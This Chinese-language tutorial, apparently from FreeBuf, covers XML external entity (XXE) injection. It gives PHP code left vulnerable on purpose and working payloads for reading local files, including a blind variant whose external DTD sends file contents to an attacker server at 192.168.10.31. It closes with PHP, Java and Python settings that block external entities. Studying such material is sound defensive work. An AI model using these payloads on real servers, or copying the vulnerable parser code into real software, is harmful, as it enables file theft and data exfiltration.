XXE漏洞

FreeBuf

第一部分    XXE基础

前言:XXE漏洞是由于XML引入DTD不当,引发的漏洞。所以我们需要知道什么是XML,什么是DTD。

1.1 XML格式介绍

1.XML指可扩展标记语言(EXtensible Markup Language)。

XML是一种很像HTML的标记语言.可以解析很多 网络协议(如:http/ftp/file等其他协议,不同语言需要安装不同插件来支持)。

2. XML和HTML的对比

(1)用途不同

XML被设计用来对数据进行传输和存储数据;
XML是以纯文本方式独立于硬件和软件的信息传输工具,是w3c的标准--->着重于传输;

HTML被设计用来进行"格式化"的显示数据--->着重于格式化显示;

(2)规则不同

XML是支持用户自定义标签和格式的,非常灵活;这也就需要有一个“校验”来保证XML格式正确,而DTD正是用来实现对XML的“校验”功能。

HTML里的元素标签都是预定义好的;

3.XML格式说明

4.XML语法说明

  • (1)所有XML元素都必须有一个关闭标签
  • (2)XML标签对大小写敏感
  • (3)XML必须正确嵌套
  • (4)XML属性值必须加引号 <note date="12/20/2008">
  • (5)对于一些特殊字符要用实体编码:
    &lt;  <  less than
    &gt;  >  greater than
    &amp;  &  ampersand
    &apos;  '  apostrophe
    &quot;  "  quotation mark
  • (6)XML中的注释符是<!--注释-->
  • (7)XML元素命名最好用字母下划线组成,不以下划线开头

1.2 DTD实体引用介绍

1. DTD(Document Type Definition)作用: 对XML文档的结构进行规范.

2. DTD实体引用方式,主要分为内部DTD引用,外部DTD引用,公共DTD引用和参数DTD引用。

3. 内部DTD引用举例

说明:插入xml代码,为了方便,用//表示注释;正常注释应该是<!---->

//定义DTD
<?xml version="1.0"?> <!DOCTYPE person [ <!ENTITY writer "Jack Wilson"> <!ENTITY country "Copyright www.test.com"> ]>
//XML内部调用,实体有&/实体名称和分号结尾 <person>&writer;&country;</person>

4. 外部DTD引用举例

//基本格式
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的路径"> //外部引用DTD格式: <!ENTITY test SYSTEM "http://www.test.com/test.dtd">          //调用公网URL <!ENTITY test SYSTEM "file:///c:/test.dtd">     //读取本地文件

//xml文件:引入DTD,调用元素显示。

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Do not forget me this weekend!</body>
</note>

//note.dtd文件,定义元素名称和类型
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部引入DTD时,不同语言支持的协议如下:

5.  引入公共DTD:调用公网存在的共用DTD文件。

//post型POC利用,这里的url一般是已经搭建的公网存放了恶意代码的服务器 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY %  xxe PUBLIC "public_id" "http://192.100.10.1:81/evil.dtd" > %xxe;]> <name>&evil;</name> //外部 evil.dtd 中的内容(可以放在自己的服务器上)。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >  

6. 引用参数DTD

//参数DTD基本格式
<!ENTITY % 实体名称 "实体的值">  或者  <!ENTITY % 实体名称  SYSTEM "URI"> //POC利用代码 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY %  xxe SYSTEM "http://192.168.10.31:81/evil.dtd" > %xxe;]> <name>&evil;</name>

第二部分    XXE漏洞

2.1 XXE漏洞介绍和危害

1.XXE(XML External Entity Injection):叫做XML外部实体注入。

为了更好的规范XXE文件的格式,引入DTD作为约束。这本来是一个正常的引入功能。

而XXE漏洞是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致存在漏洞.

2.XXE漏洞危害

  • (1)DDOS攻击(拒绝服务攻击)
  • (2)文件读取
  • (3)命令执行-->需要安装插件
  • (4)SQL注入
  • (5)内外网端口扫描
  • (6)入侵内网站点等

2.2 XXE涉及函数

1. file_get_contents():把整个文件读入字符串中,以便进行后续处理。

2. php://input 表示读取请求原始数据的只读流。

3. simplexml_load_string()函数:把xml格式字符串转换为对应的xml元素。

4. simplexml_import_dom()函数:把dom节点转换为xml元素对象,如果失败返回false。

5. xml2.php漏洞代码分析

//利用页面xml2.php内容如下 <?php    libxml_disable_entity_loader (false);                 //一定要是false,才存在XXE漏洞。    $xmlfile = file_get_contents('php://input');    $dom = new DOMDocument();    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);    $creds = simplexml_import_dom($dom);    echo $creds; ?>

2.3 XXE注入实验

1. 实验环境说明:

  • phpStudy中php5.2+apache环境,测试浏览器用的是谷歌,谷歌需要安装hackbar。
  • XXE是一个比较老的漏洞,现在比较少了。
  • XXE漏洞代码,用的就是上边的xml2.php

2.实验1:DTD内部调用,读取本地文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > 
<!ENTITY xxe "test.com">
]> 
<foo>&xxe;</foo> 

3.实验2:调用外部DTD读取本地文件

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]> <name>&xxe;</name>

4.实验3:使用参数实体引入DTD,读取文件

//POC利用代码;这里192.168.10.31是攻击者自己搭建的服务器,并存放了evil.dtd的XXE测试文件。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY %  xxe SYSTEM "http://192.168.10.31:81/evil.dtd" > %xxe;]> <name>&evil;</name>

//外部 evil.dtd(可以放在黑客自己的服务器上) 中的内容用来定义读取被攻击主机的文件路径。 
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >  

5.实验4:但是当读取的文件中有特殊字符,比如< & 等。这时,用上边的方法就不能读取了。我们需要用到php://filter/read来对读取内容进行Base64编码。

//利用代码: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[">   <!ENTITY % files SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/muma.txt">   <!ENTITY % end "]]>">   <!ENTITY % dtd SYSTEM "http://192.168.10.31:1001/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> //外部 evil.dtd 中的内容。 <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%files;%end;">

6. 实验5:如果结果不能被显示在页面,这种无回显的XXE就是Bind-XXE。

//(1)在黑客的web服务器(地址:192.168.10.31:81)上创建一个测试文件命名为test.dtd,内容如下 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/muma.txt"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.10.31:81?p=%file;'>"> //(2)在浏览器使用post方式提交poc如下: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE convert [   <!ENTITY % remote SYSTEM "http://192.168.10.31:81/test.dtd"> %remote;%int;%send; ]>    

如果页面没有返回也没关系,可以到黑客自己的服务器日志里查看。

2.4 XXE防御

1. 版本说明:

  • libxml2.9.1 及以后,默认不解析外部实体。
  • 测试的时候 windows 下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。
  • Linux 中需要将 libxml低于 libxml2.9.1 的版本编译到 PHP .

2. 最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止

#PHP: libxml_disable_entity_loader(true); #JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); #Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))